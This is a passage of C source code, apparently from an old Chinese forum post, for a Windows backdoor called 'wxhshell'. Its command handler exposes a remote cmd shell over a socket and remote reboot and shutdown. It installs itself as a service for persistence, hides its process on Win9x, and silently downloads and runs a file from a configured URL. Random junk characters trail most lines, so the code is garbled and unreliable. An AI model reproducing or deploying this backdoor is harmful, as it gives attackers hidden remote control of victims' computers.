  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3B5"b,  
  else a\m10Ih:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  2 5ZGuM  
  } 0XYO2 k  
  else { c[y=K)<Z  
FVQWz[N  
    switch(cmd[0]) { %#QFu/l  
  X)f"`$  
  // 帮助 |f?C*t',  
  case '?': { *u{.K:.I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1v\-jM"  
    break; M*S5&xpX  
  } fp![Pbms.  
  // 安装 dju&Ku  
  case 'i': { {M~!?# <K  
    if(Install()) 8:xQPd?3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o"1us75P  
    else }lb.3fqiA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Aanv  
    break; 0~1P&Qs<  
    } VDmd+bvJV  
  // 卸载 c\b>4 &n  
  case 'r': { !Z'm@,+  
    if(Uninstall()) +li^0+3-'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( L6`_)  
    else eXaDx%mM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rt:PW}rFf  
    break; GKd>AP_  
    } 6~/H#8Kdn  
  // 显示 wxhshell 所在路径 P*T)/A%4  
  case 'p': { )eV40l$ M  
    char svExeFile[MAX_PATH]; w9PY^U.Y3e  
    strcpy(svExeFile,"\n\r"); ::`j@ ]  
      strcat(svExeFile,ExeFile); GQZUC\cB  
        send(wsh,svExeFile,strlen(svExeFile),0); J;kbY9e  
    break; jw[`_  
    } O46/[{p+8  
  // 重启 Elq8WtS  
  case 'b': { 4QVd{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M1M]]fT0ME  
    if(Boot(REBOOT)) -)I_+N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/ : )FV  
    else { t3XMQ']  
    closesocket(wsh); zLn#p]  
    ExitThread(0); nz',Zm},  
    } sq^"bLw  
    break; M#>GU<4"  
    } } R/  
  // 关机 W[m_IY  
  case 'd': { yN o8R[M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UiEB?X]-l'  
    if(Boot(SHUTDOWN)) IyuT=A~Ki  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F3'X  
    else { qpeK><o  
    closesocket(wsh); *3K"Kc2  
    ExitThread(0); #?=cg]v_  
    } ^>p [b  
    break; ]xG4T>S  
    } YBO53S]=  
  // 获取shell ]O\W<'+V  
  case 's': { 4dK@UN\  
    CmdShell(wsh); K]oPh:E  
    closesocket(wsh); ] 6gu  
    ExitThread(0); rh_({rvQ  
    break; <Gw<(M  
  } gZUy0`E  
  // 退出 W<L6,  
  case 'x': { ^hgAgP{{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Dn3~8  
    CloseIt(wsh); @i h}x  
    break; $g};u[y  
    } #50)DwD  
  // 离开 8( D}y\  
  case 'q': { yBj)#m5!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Td >k \<  
    closesocket(wsh); _2Z3?/Y  
    WSACleanup(); +*DX(v"BH  
    exit(1); >cNXB7]E>  
    break; rh&onp O  
        } {ybuHC  
  } iPOZ{'Z  
  } ka3 Z5  
lRr-S%  
  // 提示信息 TfVD'HAN;l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9F](%/  
} 0)]1)z(P  
  } dE]"^O#Mc  
>nDnb4 'C  
  return; ,]mwk~HeF  
} =R.9"7~2x  
ks;wc"k"  
// shell模块句柄 5uer [1A  
int CmdShell(SOCKET sock) }A7qIys$4  
{ /8>/"Z2S  
STARTUPINFO si;  ^gyp- !  
ZeroMemory(&si,sizeof(si)); m4wTg 8LJ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ["<(\v9P)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jTr 4A-"  
PROCESS_INFORMATION ProcessInfo; ;NeP&)Td  
char cmdline[]="cmd"; ,<^HB+{Wo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ha=z<Q  
  return 0; => =x0gsgj  
} ,`zRlkX  
i)i)3K2  
// 自身启动模式 Ekme62Q>u  
int StartFromService(void) k#JG  
{ &'b}N  
typedef struct l%(`<a]VIB  
{ \ZRoTh  
  DWORD ExitStatus; ~N^vE;  
  DWORD PebBaseAddress; 5ba[6\Af  
  DWORD AffinityMask; F^z8+W  
  DWORD BasePriority; i t@}dZ  
  ULONG UniqueProcessId; Y0\\(0j64  
  ULONG InheritedFromUniqueProcessId; I JY5wP1"  
}   PROCESS_BASIC_INFORMATION; i q:Q$z&  
^u!Tyb8Dk  
PROCNTQSIP NtQueryInformationProcess; Q;O)>K  
~x"79=!W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rl4zTAI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OX/.v?c  
PX2k,%  
  HANDLE             hProcess; .p(l+  
  PROCESS_BASIC_INFORMATION pbi; \_AEuz3 F  
&AcFa<U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #L:P R>  
  if(NULL == hInst ) return 0; "q^'5p]  
&vX!7 Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [=6~"!P}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q)ql]iH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t} i97;  
7&1~O#  
  if (!NtQueryInformationProcess) return 0; m2CWQ[u  
chmJ|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j& iL5J;  
  if(!hProcess) return 0; Q@wq }vc!  
P`dHR;Y0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @) ZO$h  
`F\:XuY   
  CloseHandle(hProcess); mv*T=N8fC  
kj!7|1i2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Au} ;z6k  
if(hProcess==NULL) return 0; ^;$a_$ |  
]Y&)98  
HMODULE hMod; |;9 A{#zM  
char procName[255]; !u { "] T:  
unsigned long cbNeeded; C'czXZtn  
nQ17E{^pR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <yI,cM<c  
C%_  
  CloseHandle(hProcess);  AY'?Xt  
G7A bhb,  
if(strstr(procName,"services")) return 1; // 以服务启动 ),Ho(%T\  
)_ ^WpyzF1  
  return 0; // 注册表启动 ^I<T+X+<  
} MJKl]&  
cYM~IA  
// 主模块 72ViPWW  
int StartWxhshell(LPSTR lpCmdLine) Kq 4<l  
{ n_aNs]C9R  
  SOCKET wsl; W0MnGzZ  
BOOL val=TRUE; 04guud }  
  int port=0; EKeh>3;?  
  struct sockaddr_in door; `X<`j6zaG  
4m~7 ~-h  
  if(wscfg.ws_autoins) Install(); 4:Xj-l^D  
" Z2Tc)  
port=atoi(lpCmdLine); vdT+,x`  
Rw}2*5#y  
if(port<=0) port=wscfg.ws_port; *e3L4 7"G  
g"]<J &  
  WSADATA data; n!ZP?]FR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C8qTz".5$  
0L0Jc,(F+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W `u$7k]$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r*N~. tFo  
  door.sin_family = AF_INET; i=1 }lk q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K@jSr*\'  
  door.sin_port = htons(port); w,![;wG  
df>kEvU5.^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Sr\jUIWn  
closesocket(wsl); 3 "l F  
return 1; K)Zkj"y  
} Z?(4%U5z  
,.oa,sku  
  if(listen(wsl,2) == INVALID_SOCKET) { r'd:SaU+  
closesocket(wsl); <,@H;|mZ  
return 1; &*aer5?`  
} y Tw',N{  
  Wxhshell(wsl); w.D4dv_H  
  WSACleanup(); o9 i#N  
Qb?y@>-[  
return 0; AGEZ8(h  
ByhOK}u;P4  
} 3|~(?4aE  
V9zywM  
// 以NT服务方式启动 ?..i4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7}d$*C  
{ E#<7\ p>  
DWORD   status = 0; EvqUNnjR  
  DWORD   specificError = 0xfffffff; i'!jx.  
cBab2/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8lOZ IbwS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ..jq[(;N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8B*E+f0  
  serviceStatus.dwWin32ExitCode     = 0; x/%7%_+'  
  serviceStatus.dwServiceSpecificExitCode = 0; rkfQr9Vc  
  serviceStatus.dwCheckPoint       = 0; $-$5ta{s  
  serviceStatus.dwWaitHint       = 0; v~V;+S=gz  
X:G& 5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QJ a4R  
  if (hServiceStatusHandle==0) return; hGed/Yr  
B:O+*3j  
status = GetLastError(); '!wPnYT@D  
  if (status!=NO_ERROR) ^V<J69ny|9  
{ GB<R7 J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zP :~O  
    serviceStatus.dwCheckPoint       = 0; e{fZ}`=7y  
    serviceStatus.dwWaitHint       = 0; W>Mse[6`c  
    serviceStatus.dwWin32ExitCode     = status; \;-=ODC  
    serviceStatus.dwServiceSpecificExitCode = specificError; J4gI=@e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n2n00%Wu[  
    return; #"Eks79s  
  } t7|MkX1  
j6tP)f^tD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m\6SG' X  
  serviceStatus.dwCheckPoint       = 0; =$b-xsmeG  
  serviceStatus.dwWaitHint       = 0; 09  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H\)gE>  
} _kn]#^ucCe  
+P [88!  
// 处理NT服务事件,比如:启动、停止 u?q&K|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Zk]k1]u*5  
{ 3TU'*w &  
switch(fdwControl) 7o;x (9  
{ >"cr-LB  
case SERVICE_CONTROL_STOP: s.^c..e75C  
  serviceStatus.dwWin32ExitCode = 0; *nYB o\@g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K4j@j}zK9I  
  serviceStatus.dwCheckPoint   = 0; +jq 2pFQ  
  serviceStatus.dwWaitHint     = 0; :v#k&Uh3y  
  { W *YW6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j6n2dMRvSE  
  } #"Fg%36Zd  
  return; 99F>n[5  
case SERVICE_CONTROL_PAUSE: 4@DVc7\x$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X$Q2m{dR  
  break; B;eW/#`  
case SERVICE_CONTROL_CONTINUE: x 8 f6,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RRx`}E9,  
  break; #mgA/q?A  
case SERVICE_CONTROL_INTERROGATE: [zY!'cz?  
  break; QjQ4Z'.r>  
}; |yLk5e~@-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G$cxDGo  
} HG3.~ 6X  
sL)Rg(rkx  
// 标准应用程序主函数 'Z\{D*=V8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X!T|07#c  
{ TkA9tFi  
\4OK!6LkI  
// 获取操作系统版本 HS{P?~:=U  
OsIsNt=GetOsVer(); M'^(3#ZU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C0zrXhY_v  
'To<T  
  // 从命令行安装 mYX56,b}5  
  if(strpbrk(lpCmdLine,"iI")) Install(); j: <t  
q^u1z|'Z  
  // 下载执行文件 Lb!r(o>8Cb  
if(wscfg.ws_downexe) { dO+kPC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7k 3p'FeS  
  WinExec(wscfg.ws_filenam,SW_HIDE); LL{t5(- _  
} +jcdf}  
w'd.;  
if(!OsIsNt) { GSQfg  
// 如果时win9x,隐藏进程并且设置为注册表启动 7. %f01/i  
HideProc(); >/b^fAG  
StartWxhshell(lpCmdLine); bKYY{V55  
} PM@XtL7J  
else j\! e9M  
  if(StartFromService()) f](I.lm:  
  // 以服务方式启动 !0b%Jh  
  StartServiceCtrlDispatcher(DispatchTable); ?4:rP@  
else LxB&7  
  // 普通方式启动 E\w+kAAf  
  StartWxhshell(lpCmdLine); fzl=d_  
FnY$)o;   
return 0; ?3[tJreVj  
}
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只看该作者 1 发表于: 2006-10-10
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